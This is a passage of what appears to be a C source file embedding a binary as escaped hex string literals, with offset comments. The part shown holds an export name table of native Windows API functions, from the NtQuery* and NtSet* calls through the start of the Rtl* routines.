\"\\x51\\x75\\x65\\x72\\x79\\x54\\x69\\x6D\\x65\\x72\\x00\\x4E\\x74\\x51\\x75\\x65\"   //QueryTimer.NtQue\n/* 009080 */   \"\\x72\\x79\\x54\\x69\\x6D\\x65\\x72\\x52\\x65\\x73\\x6F\\x6C\\x75\\x74\\x69\\x6F\"   //ryTimerResolutio\n/* 0090A0 */   \"\\x6E\\x00\\x4E\\x74\\x51\\x75\\x65\\x72\\x79\\x56\\x61\\x6C\\x75\\x65\\x4B\\x65\"   //n.NtQueryValueKe\n/* 0090C0 */   \"\\x79\\x00\\x4E\\x74\\x51\\x75\\x65\\x72\\x79\\x56\\x69\\x72\\x74\\x75\\x61\\x6C\"   //y.NtQueryVirtual\n/* 0090E0 */   \"\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x00\\x4E\\x74\\x51\\x75\\x65\\x72\\x79\\x56\\x6F\"   //Memory.NtQueryVo\n/* 009100 */   \"\\x6C\\x75\\x6D\\x65\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x46\"   //lumeInformationF\n/* 009120 */   \"\\x69\\x6C\\x65\\x00\\x4E\\x74\\x51\\x75\\x65\\x75\\x65\\x41\\x70\\x63\\x54\\x68\"   //ile.NtQueueApcTh\n/* 009140 */   \"\\x72\\x65\\x61\\x64\\x00\\x4E\\x74\\x52\\x61\\x69\\x73\\x65\\x45\\x78\\x63\\x65\"   //read.NtRaiseExce\n/* 009160 */   \"\\x70\\x74\\x69\\x6F\\x6E\\x00\\x4E\\x74\\x52\\x61\\x69\\x73\\x65\\x48\\x61\\x72\"   //ption.NtRaiseHar\n/* 009180 */   \"\\x64\\x45\\x72\\x72\\x6F\\x72\\x00\\x4E\\x74\\x52\\x65\\x61\\x64\\x46\\x69\\x6C\"   //dError.NtReadFil\n/* 0091A0 */   \"\\x65\\x00\\x4E\\x74\\x52\\x65\\x61\\x64\\x46\\x69\\x6C\\x65\\x53\\x63\\x61\\x74\"   //e.NtReadFileScat\n/* 0091C0 */   \"\\x74\\x65\\x72\\x00\\x4E\\x74\\x52\\x65\\x61\\x64\\x52\\x65\\x71\\x75\\x65\\x73\"   //ter.NtReadReques\n/* 0091E0 */   \"\\x74\\x44\\x61\\x74\\x61\\x00\\x4E\\x74\\x52\\x65\\x61\\x64\\x56\\x69\\x72\\x74\"   //tData.NtReadVirt\n/* 009200 */   \"\\x75\\x61\\x6C\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x00\\x4E\\x74\\x52\\x65\\x67\\x69\"   //ualMemory.NtRegi\n/* 009220 */   \"\\x73\\x74\\x65\\x72\\x54\\x68\\x72\\x65\\x61\\x64\\x54\\x65\\x72\\x6D\\x69\\x6E\"   //sterThreadTermin\n/* 009240 */   \"\\x61\\x74\\x65\\x50\\x6F\\x72\\x74\\x00\\x4E\\x74\\x52\\x65\\x6C\\x65\\x61\\x73\"   //atePort.NtReleas\n/* 009260 */   \"\\x65\\x4B\\x65\\x79\\x65\\x64\\x45\\x76\\x65\\x6E\\x74\\x00\\x4E\\x74\\x52\\x65\"   //eKeyedEvent.NtRe\n/* 009280 */   \"\\x6C\\x65\\x61\\x73\\x65\\x4D\\x75\\x74\\x61\\x6E\\x74\\x00\\x4E\\x74\\x52\\x65\"   //leaseMutant.NtRe\n/* 0092A0 */   \"\\x6C\\x65\\x61\\x73\\x65\\x53\\x65\\x6D\\x61\\x70\\x68\\x6F\\x72\\x65\\x00\\x4E\"   //leaseSemaphore.N\n/* 0092C0 */   \"\\x74\\x52\\x65\\x6D\\x6F\\x76\\x65\\x49\\x6F\\x43\\x6F\\x6D\\x70\\x6C\\x65\\x74\"   //tRemoveIoComplet\n/* 0092E0 */   \"\\x69\\x6F\\x6E\\x00\\x4E\\x74\\x52\\x65\\x6D\\x6F\\x76\\x65\\x50\\x72\\x6F\\x63\"   //ion.NtRemoveProc\n/* 009300 */   \"\\x65\\x73\\x73\\x44\\x65\\x62\\x75\\x67\\x00\\x4E\\x74\\x52\\x65\\x6E\\x61\\x6D\"   //essDebug.NtRenam\n/* 009320 */   \"\\x65\\x4B\\x65\\x79\\x00\\x4E\\x74\\x52\\x65\\x70\\x6C\\x61\\x63\\x65\\x4B\\x65\"   //eKey.NtReplaceKe\n/* 009340 */   \"\\x79\\x00\\x4E\\x74\\x52\\x65\\x70\\x6C\\x79\\x50\\x6F\\x72\\x74\\x00\\x4E\\x74\"   //y.NtReplyPort.Nt\n/* 009360 */   \"\\x52\\x65\\x70\\x6C\\x79\\x57\\x61\\x69\\x74\\x52\\x65\\x63\\x65\\x69\\x76\\x65\"   //ReplyWaitReceive\n/* 009380 */   \"\\x50\\x6F\\x72\\x74\\x00\\x4E\\x74\\x52\\x65\\x70\\x6C\\x79\\x57\\x61\\x69\\x74\"   //Port.NtReplyWait\n/* 0093A0 */   \"\\x52\\x65\\x63\\x65\\x69\\x76\\x65\\x50\\x6F\\x72\\x74\\x45\\x78\\x00\\x4E\\x74\"   //ReceivePortEx.Nt\n/* 0093C0 */   \"\\x52\\x65\\x70\\x6C\\x79\\x57\\x61\\x69\\x74\\x52\\x65\\x70\\x6C\\x79\\x50\\x6F\"   //ReplyWaitReplyPo\n/* 0093E0 */   \"\\x72\\x74\\x00\\x4E\\x74\\x52\\x65\\x71\\x75\\x65\\x73\\x74\\x44\\x65\\x76\\x69\"   //rt.NtRequestDevi\n/* 009400 */   \"\\x63\\x65\\x57\\x61\\x6B\\x65\\x75\\x70\\x00\\x4E\\x74\\x52\\x65\\x71\\x75\\x65\"   //ceWakeup.NtReque\n/* 009420 */   \"\\x73\\x74\\x50\\x6F\\x72\\x74\\x00\\x4E\\x74\\x52\\x65\\x71\\x75\\x65\\x73\\x74\"   //stPort.NtRequest\n/* 009440 */   \"\\x57\\x61\\x69\\x74\\x52\\x65\\x70\\x6C\\x79\\x50\\x6F\\x72\\x74\\x00\\x4E\\x74\"   //WaitReplyPort.Nt\n/* 009460 */   \"\\x52\\x65\\x71\\x75\\x65\\x73\\x74\\x57\\x61\\x6B\\x65\\x75\\x70\\x4C\\x61\\x74\"   //RequestWakeupLat\n/* 009480 */   \"\\x65\\x6E\\x63\\x79\\x00\\x4E\\x74\\x52\\x65\\x73\\x65\\x74\\x45\\x76\\x65\\x6E\"   //ency.NtResetEven\n/* 0094A0 */   \"\\x74\\x00\\x4E\\x74\\x52\\x65\\x73\\x65\\x74\\x57\\x72\\x69\\x74\\x65\\x57\\x61\"   //t.NtResetWriteWa\n/* 0094C0 */   \"\\x74\\x63\\x68\\x00\\x4E\\x74\\x52\\x65\\x73\\x74\\x6F\\x72\\x65\\x4B\\x65\\x79\"   //tch.NtRestoreKey\n/* 0094E0 */   \"\\x00\\x4E\\x74\\x52\\x65\\x73\\x75\\x6D\\x65\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\"   //.NtResumeProcess\n/* 009500 */   \"\\x00\\x4E\\x74\\x52\\x65\\x73\\x75\\x6D\\x65\\x54\\x68\\x72\\x65\\x61\\x64\\x00\"   //.NtResumeThread.\n/* 009520 */   \"\\x4E\\x74\\x53\\x61\\x76\\x65\\x4B\\x65\\x79\\x00\\x4E\\x74\\x53\\x61\\x76\\x65\"   //NtSaveKey.NtSave\n/* 009540 */   \"\\x4B\\x65\\x79\\x45\\x78\\x00\\x4E\\x74\\x53\\x61\\x76\\x65\\x4D\\x65\\x72\\x67\"   //KeyEx.NtSaveMerg\n/* 009560 */   \"\\x65\\x64\\x4B\\x65\\x79\\x73\\x00\\x4E\\x74\\x53\\x65\\x63\\x75\\x72\\x65\\x43\"   //edKeys.NtSecureC\n/* 009580 */   \"\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x50\\x6F\\x72\\x74\\x00\\x4E\\x74\\x53\\x65\\x74\"   //onnectPort.NtSet\n/* 0095A0 */   \"\\x42\\x6F\\x6F\\x74\\x45\\x6E\\x74\\x72\\x79\\x4F\\x72\\x64\\x65\\x72\\x00\\x4E\"   //BootEntryOrder.N\n/* 0095C0 */   \"\\x74\\x53\\x65\\x74\\x42\\x6F\\x6F\\x74\\x4F\\x70\\x74\\x69\\x6F\\x6E\\x73\\x00\"   //tSetBootOptions.\n/* 0095E0 */   \"\\x4E\\x74\\x53\\x65\\x74\\x43\\x6F\\x6E\\x74\\x65\\x78\\x74\\x54\\x68\\x72\\x65\"   //NtSetContextThre\n/* 009600 */   \"\\x61\\x64\\x00\\x4E\\x74\\x53\\x65\\x74\\x44\\x65\\x62\\x75\\x67\\x46\\x69\\x6C\"   //ad.NtSetDebugFil\n/* 009620 */   \"\\x74\\x65\\x72\\x53\\x74\\x61\\x74\\x65\\x00\\x4E\\x74\\x53\\x65\\x74\\x44\\x65\"   //terState.NtSetDe\n/* 009640 */   \"\\x66\\x61\\x75\\x6C\\x74\\x48\\x61\\x72\\x64\\x45\\x72\\x72\\x6F\\x72\\x50\\x6F\"   //faultHardErrorPo\n/* 009660 */   \"\\x72\\x74\\x00\\x4E\\x74\\x53\\x65\\x74\\x44\\x65\\x66\\x61\\x75\\x6C\\x74\\x4C\"   //rt.NtSetDefaultL\n/* 009680 */   \"\\x6F\\x63\\x61\\x6C\\x65\\x00\\x4E\\x74\\x53\\x65\\x74\\x44\\x65\\x66\\x61\\x75\"   //ocale.NtSetDefau\n/* 0096A0 */   \"\\x6C\\x74\\x55\\x49\\x4C\\x61\\x6E\\x67\\x75\\x61\\x67\\x65\\x00\\x4E\\x74\\x53\"   //ltUILanguage.NtS\n/* 0096C0 */   \"\\x65\\x74\\x45\\x61\\x46\\x69\\x6C\\x65\\x00\\x4E\\x74\\x53\\x65\\x74\\x45\\x76\"   //etEaFile.NtSetEv\n/* 0096E0 */   \"\\x65\\x6E\\x74\\x00\\x4E\\x74\\x53\\x65\\x74\\x45\\x76\\x65\\x6E\\x74\\x42\\x6F\"   //ent.NtSetEventBo\n/* 009700 */   \"\\x6F\\x73\\x74\\x50\\x72\\x69\\x6F\\x72\\x69\\x74\\x79\\x00\\x4E\\x74\\x53\\x65\"   //ostPriority.NtSe\n/* 009720 */   \"\\x74\\x48\\x69\\x67\\x68\\x45\\x76\\x65\\x6E\\x74\\x50\\x61\\x69\\x72\\x00\\x4E\"   //tHighEventPair.N\n/* 009740 */   \"\\x74\\x53\\x65\\x74\\x48\\x69\\x67\\x68\\x57\\x61\\x69\\x74\\x4C\\x6F\\x77\\x45\"   //tSetHighWaitLowE\n/* 009760 */   \"\\x76\\x65\\x6E\\x74\\x50\\x61\\x69\\x72\\x00\\x4E\\x74\\x53\\x65\\x74\\x49\\x6E\"   //ventPair.NtSetIn\n/* 009780 */   \"\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x44\\x65\\x62\\x75\\x67\\x4F\\x62\"   //formationDebugOb\n/* 0097A0 */   \"\\x6A\\x65\\x63\\x74\\x00\\x4E\\x74\\x53\\x65\\x74\\x49\\x6E\\x66\\x6F\\x72\\x6D\"   //ject.NtSetInform\n/* 0097C0 */   \"\\x61\\x74\\x69\\x6F\\x6E\\x46\\x69\\x6C\\x65\\x00\\x4E\\x74\\x53\\x65\\x74\\x49\"   //ationFile.NtSetI\n/* 0097E0 */   \"\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x4A\\x6F\\x62\\x4F\\x62\\x6A\"   //nformationJobObj\n/* 009800 */   \"\\x65\\x63\\x74\\x00\\x4E\\x74\\x53\\x65\\x74\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\"   //ect.NtSetInforma\n/* 009820 */   \"\\x74\\x69\\x6F\\x6E\\x4B\\x65\\x79\\x00\\x4E\\x74\\x53\\x65\\x74\\x49\\x6E\\x66\"   //tionKey.NtSetInf\n/* 009840 */   \"\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x4E\"   //ormationObject.N\n/* 009860 */   \"\\x74\\x53\\x65\\x74\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x50\"   //tSetInformationP\n/* 009880 */   \"\\x72\\x6F\\x63\\x65\\x73\\x73\\x00\\x4E\\x74\\x53\\x65\\x74\\x49\\x6E\\x66\\x6F\"   //rocess.NtSetInfo\n/* 0098A0 */   \"\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x54\\x68\\x72\\x65\\x61\\x64\\x00\\x4E\\x74\"   //rmationThread.Nt\n/* 0098C0 */   \"\\x53\\x65\\x74\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x54\\x6F\"   //SetInformationTo\n/* 0098E0 */   \"\\x6B\\x65\\x6E\\x00\\x4E\\x74\\x53\\x65\\x74\\x49\\x6E\\x74\\x65\\x72\\x76\\x61\"   //ken.NtSetInterva\n/* 009900 */   \"\\x6C\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\\x00\\x4E\\x74\\x53\\x65\\x74\\x49\\x6F\"   //lProfile.NtSetIo\n/* 009920 */   \"\\x43\\x6F\\x6D\\x70\\x6C\\x65\\x74\\x69\\x6F\\x6E\\x00\\x4E\\x74\\x53\\x65\\x74\"   //Completion.NtSet\n/* 009940 */   \"\\x4C\\x64\\x74\\x45\\x6E\\x74\\x72\\x69\\x65\\x73\\x00\\x4E\\x74\\x53\\x65\\x74\"   //LdtEntries.NtSet\n/* 009960 */   \"\\x4C\\x6F\\x77\\x45\\x76\\x65\\x6E\\x74\\x50\\x61\\x69\\x72\\x00\\x4E\\x74\\x53\"   //LowEventPair.NtS\n/* 009980 */   \"\\x65\\x74\\x4C\\x6F\\x77\\x57\\x61\\x69\\x74\\x48\\x69\\x67\\x68\\x45\\x76\\x65\"   //etLowWaitHighEve\n/* 0099A0 */   \"\\x6E\\x74\\x50\\x61\\x69\\x72\\x00\\x4E\\x74\\x53\\x65\\x74\\x51\\x75\\x6F\\x74\"   //ntPair.NtSetQuot\n/* 0099C0 */   \"\\x61\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x46\\x69\\x6C\\x65\"   //aInformationFile\n/* 0099E0 */   \"\\x00\\x4E\\x74\\x53\\x65\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x4F\\x62\"   //.NtSetSecurityOb\n/* 009A00 */   \"\\x6A\\x65\\x63\\x74\\x00\\x4E\\x74\\x53\\x65\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\"   //ject.NtSetSystem\n/* 009A20 */   \"\\x45\\x6E\\x76\\x69\\x72\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x56\\x61\\x6C\\x75\\x65\"   //EnvironmentValue\n/* 009A40 */   \"\\x00\\x4E\\x74\\x53\\x65\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x45\\x6E\\x76\\x69\"   //.NtSetSystemEnvi\n/* 009A60 */   \"\\x72\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x56\\x61\\x6C\\x75\\x65\\x45\\x78\\x00\\x4E\"   //ronmentValueEx.N\n/* 009A80 */   \"\\x74\\x53\\x65\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x49\\x6E\\x66\\x6F\\x72\\x6D\"   //tSetSystemInform\n/* 009AA0 */   \"\\x61\\x74\\x69\\x6F\\x6E\\x00\\x4E\\x74\\x53\\x65\\x74\\x53\\x79\\x73\\x74\\x65\"   //ation.NtSetSyste\n/* 009AC0 */   \"\\x6D\\x50\\x6F\\x77\\x65\\x72\\x53\\x74\\x61\\x74\\x65\\x00\\x4E\\x74\\x53\\x65\"   //mPowerState.NtSe\n/* 009AE0 */   \"\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x54\\x69\\x6D\\x65\\x00\\x4E\\x74\\x53\\x65\"   //tSystemTime.NtSe\n/* 009B00 */   \"\\x74\\x54\\x68\\x72\\x65\\x61\\x64\\x45\\x78\\x65\\x63\\x75\\x74\\x69\\x6F\\x6E\"   //tThreadExecution\n/* 009B20 */   \"\\x53\\x74\\x61\\x74\\x65\\x00\\x4E\\x74\\x53\\x65\\x74\\x54\\x69\\x6D\\x65\\x72\"   //State.NtSetTimer\n/* 009B40 */   \"\\x00\\x4E\\x74\\x53\\x65\\x74\\x54\\x69\\x6D\\x65\\x72\\x52\\x65\\x73\\x6F\\x6C\"   //.NtSetTimerResol\n/* 009B60 */   \"\\x75\\x74\\x69\\x6F\\x6E\\x00\\x4E\\x74\\x53\\x65\\x74\\x55\\x75\\x69\\x64\\x53\"   //ution.NtSetUuidS\n/* 009B80 */   \"\\x65\\x65\\x64\\x00\\x4E\\x74\\x53\\x65\\x74\\x56\\x61\\x6C\\x75\\x65\\x4B\\x65\"   //eed.NtSetValueKe\n/* 009BA0 */   \"\\x79\\x00\\x4E\\x74\\x53\\x65\\x74\\x56\\x6F\\x6C\\x75\\x6D\\x65\\x49\\x6E\\x66\"   //y.NtSetVolumeInf\n/* 009BC0 */   \"\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x46\\x69\\x6C\\x65\\x00\\x4E\\x74\\x53\"   //ormationFile.NtS\n/* 009BE0 */   \"\\x68\\x75\\x74\\x64\\x6F\\x77\\x6E\\x53\\x79\\x73\\x74\\x65\\x6D\\x00\\x4E\\x74\"   //hutdownSystem.Nt\n/* 009C00 */   \"\\x53\\x69\\x67\\x6E\\x61\\x6C\\x41\\x6E\\x64\\x57\\x61\\x69\\x74\\x46\\x6F\\x72\"   //SignalAndWaitFor\n/* 009C20 */   \"\\x53\\x69\\x6E\\x67\\x6C\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x4E\\x74\\x53\"   //SingleObject.NtS\n/* 009C40 */   \"\\x74\\x61\\x72\\x74\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\\x00\\x4E\\x74\\x53\\x74\"   //tartProfile.NtSt\n/* 009C60 */   \"\\x6F\\x70\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\\x00\\x4E\\x74\\x53\\x75\\x73\\x70\"   //opProfile.NtSusp\n/* 009C80 */   \"\\x65\\x6E\\x64\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x00\\x4E\\x74\\x53\\x75\\x73\"   //endProcess.NtSus\n/* 009CA0 */   \"\\x70\\x65\\x6E\\x64\\x54\\x68\\x72\\x65\\x61\\x64\\x00\\x4E\\x74\\x53\\x79\\x73\"   //pendThread.NtSys\n/* 009CC0 */   \"\\x74\\x65\\x6D\\x44\\x65\\x62\\x75\\x67\\x43\\x6F\\x6E\\x74\\x72\\x6F\\x6C\\x00\"   //temDebugControl.\n/* 009CE0 */   \"\\x4E\\x74\\x54\\x65\\x72\\x6D\\x69\\x6E\\x61\\x74\\x65\\x4A\\x6F\\x62\\x4F\\x62\"   //NtTerminateJobOb\n/* 009D00 */   \"\\x6A\\x65\\x63\\x74\\x00\\x4E\\x74\\x54\\x65\\x72\\x6D\\x69\\x6E\\x61\\x74\\x65\"   //ject.NtTerminate\n/* 009D20 */   \"\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x00\\x4E\\x74\\x54\\x65\\x72\\x6D\\x69\\x6E\"   //Process.NtTermin\n/* 009D40 */   \"\\x61\\x74\\x65\\x54\\x68\\x72\\x65\\x61\\x64\\x00\\x4E\\x74\\x54\\x65\\x73\\x74\"   //ateThread.NtTest\n/* 009D60 */   \"\\x41\\x6C\\x65\\x72\\x74\\x00\\x4E\\x74\\x54\\x72\\x61\\x63\\x65\\x45\\x76\\x65\"   //Alert.NtTraceEve\n/* 009D80 */   \"\\x6E\\x74\\x00\\x4E\\x74\\x54\\x72\\x61\\x6E\\x73\\x6C\\x61\\x74\\x65\\x46\\x69\"   //nt.NtTranslateFi\n/* 009DA0 */   \"\\x6C\\x65\\x50\\x61\\x74\\x68\\x00\\x4E\\x74\\x55\\x6E\\x6C\\x6F\\x61\\x64\\x44\"   //lePath.NtUnloadD\n/* 009DC0 */   \"\\x72\\x69\\x76\\x65\\x72\\x00\\x4E\\x74\\x55\\x6E\\x6C\\x6F\\x61\\x64\\x4B\\x65\"   //river.NtUnloadKe\n/* 009DE0 */   \"\\x79\\x00\\x4E\\x74\\x55\\x6E\\x6C\\x6F\\x61\\x64\\x4B\\x65\\x79\\x45\\x78\\x00\"   //y.NtUnloadKeyEx.\n/* 009E00 */   \"\\x4E\\x74\\x55\\x6E\\x6C\\x6F\\x63\\x6B\\x46\\x69\\x6C\\x65\\x00\\x4E\\x74\\x55\"   //NtUnlockFile.NtU\n/* 009E20 */   \"\\x6E\\x6C\\x6F\\x63\\x6B\\x56\\x69\\x72\\x74\\x75\\x61\\x6C\\x4D\\x65\\x6D\\x6F\"   //nlockVirtualMemo\n/* 009E40 */   \"\\x72\\x79\\x00\\x4E\\x74\\x55\\x6E\\x6D\\x61\\x70\\x56\\x69\\x65\\x77\\x4F\\x66\"   //ry.NtUnmapViewOf\n/* 009E60 */   \"\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x00\\x4E\\x74\\x56\\x64\\x6D\\x43\\x6F\\x6E\"   //Section.NtVdmCon\n/* 009E80 */   \"\\x74\\x72\\x6F\\x6C\\x00\\x4E\\x74\\x57\\x61\\x69\\x74\\x46\\x6F\\x72\\x44\\x65\"   //trol.NtWaitForDe\n/* 009EA0 */   \"\\x62\\x75\\x67\\x45\\x76\\x65\\x6E\\x74\\x00\\x4E\\x74\\x57\\x61\\x69\\x74\\x46\"   //bugEvent.NtWaitF\n/* 009EC0 */   \"\\x6F\\x72\\x4B\\x65\\x79\\x65\\x64\\x45\\x76\\x65\\x6E\\x74\\x00\\x4E\\x74\\x57\"   //orKeyedEvent.NtW\n/* 009EE0 */   \"\\x61\\x69\\x74\\x46\\x6F\\x72\\x4D\\x75\\x6C\\x74\\x69\\x70\\x6C\\x65\\x4F\\x62\"   //aitForMultipleOb\n/* 009F00 */   \"\\x6A\\x65\\x63\\x74\\x73\\x00\\x4E\\x74\\x57\\x61\\x69\\x74\\x46\\x6F\\x72\\x53\"   //jects.NtWaitForS\n/* 009F20 */   \"\\x69\\x6E\\x67\\x6C\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x4E\\x74\\x57\\x61\"   //ingleObject.NtWa\n/* 009F40 */   \"\\x69\\x74\\x48\\x69\\x67\\x68\\x45\\x76\\x65\\x6E\\x74\\x50\\x61\\x69\\x72\\x00\"   //itHighEventPair.\n/* 009F60 */   \"\\x4E\\x74\\x57\\x61\\x69\\x74\\x4C\\x6F\\x77\\x45\\x76\\x65\\x6E\\x74\\x50\\x61\"   //NtWaitLowEventPa\n/* 009F80 */   \"\\x69\\x72\\x00\\x4E\\x74\\x57\\x72\\x69\\x74\\x65\\x46\\x69\\x6C\\x65\\x00\\x4E\"   //ir.NtWriteFile.N\n/* 009FA0 */   \"\\x74\\x57\\x72\\x69\\x74\\x65\\x46\\x69\\x6C\\x65\\x47\\x61\\x74\\x68\\x65\\x72\"   //tWriteFileGather\n/* 009FC0 */   \"\\x00\\x4E\\x74\\x57\\x72\\x69\\x74\\x65\\x52\\x65\\x71\\x75\\x65\\x73\\x74\\x44\"   //.NtWriteRequestD\n/* 009FE0 */   \"\\x61\\x74\\x61\\x00\\x4E\\x74\\x57\\x72\\x69\\x74\\x65\\x56\\x69\\x72\\x74\\x75\"   //ata.NtWriteVirtu\n/* 00A000 */   \"\\x61\\x6C\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x00\\x4E\\x74\\x59\\x69\\x65\\x6C\\x64\"   //alMemory.NtYield\n/* 00A020 */   \"\\x45\\x78\\x65\\x63\\x75\\x74\\x69\\x6F\\x6E\\x00\\x50\\x66\\x78\\x46\\x69\\x6E\"   //Execution.PfxFin\n/* 00A040 */   \"\\x64\\x50\\x72\\x65\\x66\\x69\\x78\\x00\\x50\\x66\\x78\\x49\\x6E\\x69\\x74\\x69\"   //dPrefix.PfxIniti\n/* 00A060 */   \"\\x61\\x6C\\x69\\x7A\\x65\\x00\\x50\\x66\\x78\\x49\\x6E\\x73\\x65\\x72\\x74\\x50\"   //alize.PfxInsertP\n/* 00A080 */   \"\\x72\\x65\\x66\\x69\\x78\\x00\\x50\\x66\\x78\\x52\\x65\\x6D\\x6F\\x76\\x65\\x50\"   //refix.PfxRemoveP\n/* 00A0A0 */   \"\\x72\\x65\\x66\\x69\\x78\\x00\\x50\\x72\\x6F\\x70\\x65\\x72\\x74\\x79\\x4C\\x65\"   //refix.PropertyLe\n/* 00A0C0 */   \"\\x6E\\x67\\x74\\x68\\x41\\x73\\x56\\x61\\x72\\x69\\x61\\x6E\\x74\\x00\\x52\\x74\"   //ngthAsVariant.Rt\n/* 00A0E0 */   \"\\x6C\\x41\\x62\\x6F\\x72\\x74\\x52\\x58\\x61\\x63\\x74\\x00\\x52\\x74\\x6C\\x41\"   //lAbortRXact.RtlA\n/* 00A100 */   \"\\x62\\x73\\x6F\\x6C\\x75\\x74\\x65\\x54\\x6F\\x53\\x65\\x6C\\x66\\x52\\x65\\x6C\"   //bsoluteToSelfRel\n/* 00A120 */   \"\\x61\\x74\\x69\\x76\\x65\\x53\\x44\\x00\\x52\\x74\\x6C\\x41\\x63\\x71\\x75\\x69\"   //ativeSD.RtlAcqui\n/* 00A140 */   \"\\x72\\x65\\x50\\x65\\x62\\x4C\\x6F\\x63\\x6B\\x00\\x52\\x74\\x6C\\x41\\x63\\x71\"   //rePebLock.RtlAcq\n/* 00A160 */   \"\\x75\\x69\\x72\\x65\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x45\\x78\\x63\\x6C\"   //uireResourceExcl\n/* 00A180 */   \"\\x75\\x73\\x69\\x76\\x65\\x00\\x52\\x74\\x6C\\x41\\x63\\x71\\x75\\x69\\x72\\x65\"   //usive.RtlAcquire\n/* 00A1A0 */   \"\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x53\\x68\\x61\\x72\\x65\\x64\\x00\\x52\"   //ResourceShared.R\n/* 00A1C0 */   \"\\x74\\x6C\\x41\\x63\\x74\\x69\\x76\\x61\\x74\\x65\\x41\\x63\\x74\\x69\\x76\\x61\"   //tlActivateActiva\n/* 00A1E0 */   \"\\x74\\x69\\x6F\\x6E\\x43\\x6F\\x6E\\x74\\x65\\x78\\x74\\x00\\x52\\x74\\x6C\\x41\"   //tionContext.RtlA\n/* 00A200 */   \"\\x63\\x74\\x69\\x76\\x61\\x74\\x65\\x41\\x63\\x74\\x69\\x76\\x61\\x74\\x69\\x6F\"   //ctivateActivatio\n/* 00A220 */   \"\\x6E\\x43\\x6F\\x6E\\x74\\x65\\x78\\x74\\x45\\x78\\x00\\x52\\x74\\x6C\\x41\\x63\"   //nContextEx.RtlAc\n/* 00A240 */   \"\\x74\\x69\\x76\\x61\\x74\\x65\\x41\\x63\\x74\\x69\\x76\\x61\\x74\\x69\\x6F\\x6E\"   //tivateActivation\n/* 00A260 */   \"\\x43\\x6F\\x6E\\x74\\x65\\x78\\x74\\x55\\x6E\\x73\\x61\\x66\\x65\\x46\\x61\\x73\"   //ContextUnsafeFas\n/* 00A280 */   \"\\x74\\x00\\x52\\x74\\x6C\\x41\\x64\\x64\\x41\\x63\\x63\\x65\\x73\\x73\\x41\\x6C\"   //t.RtlAddAccessAl\n/* 00A2A0 */   \"\\x6C\\x6F\\x77\\x65\\x64\\x41\\x63\\x65\\x00\\x52\\x74\\x6C\\x41\\x64\\x64\\x41\"   //lowedAce.RtlAddA\n/* 00A2C0 */   \"\\x63\\x63\\x65\\x73\\x73\\x41\\x6C\\x6C\\x6F\\x77\\x65\\x64\\x41\\x63\\x65\\x45\"   //ccessAllowedAceE\n/* 00A2E0 */   \"\\x78\\x00\\x52\\x74\\x6C\\x41\\x64\\x64\\x41\\x63\\x63\\x65\\x73\\x73\\x41\\x6C\"   //x.RtlAddAccessAl\n/* 00A300 */   \"\\x6C\\x6F\\x77\\x65\\x64\\x4F\\x62\\x6A\\x65\\x63\\x74\\x41\\x63\\x65\\x00\\x52\"   //lowedObjectAce.R\n/* 00A320 */   \"\\x74\\x6C\\x41\\x64\\x64\\x41\\x63\\x63\\x65\\x73\\x73\\x44\\x65\\x6E\\x69\\x65\"   //tlAddAccessDenie\n/* 00A340 */   \"\\x64\\x41\\x63\\x65\\x00\\x52\\x74\\x6C\\x41\\x64\\x64\\x41\\x63\\x63\\x65\\x73\"   //dAce.RtlAddAcces\n/* 00A360 */   \"\\x73\\x44\\x65\\x6E\\x69\\x65\\x64\\x41\\x63\\x65\\x45\\x78\\x00\\x52\\x74\\x6C\"   //sDeniedAceEx.Rtl\n/* 00A380 */   \"\\x41\\x64\\x64\\x41\\x63\\x63\\x65\\x73\\x73\\x44\\x65\\x6E\\x69\\x65\\x64\\x4F\"   //AddAccessDeniedO\n/* 00A3A0 */   \"\\x62\\x6A\\x65\\x63\\x74\\x41\\x63\\x65\\x00\\x52\\x74\\x6C\\x41\\x64\\x64\\x41\"   //bjectAce.RtlAddA\n/* 00A3C0 */   \"\\x63\\x65\\x00\\x52\\x74\\x6C\\x41\\x64\\x64\\x41\\x63\\x74\\x69\\x6F\\x6E\\x54\"   //ce.RtlAddActionT\n/* 00A3E0 */   \"\\x6F\\x52\\x58\\x61\\x63\\x74\\x00\\x52\\x74\\x6C\\x41\\x64\\x64\\x41\\x74\\x6F\"   //oRXact.RtlAddAto\n/* 00A400 */   \"\\x6D\\x54\\x6F\\x41\\x74\\x6F\\x6D\\x54\\x61\\x62\\x6C\\x65\\x00\\x52\\x74\\x6C\"   //mToAtomTable.Rtl\n/* 00A420 */   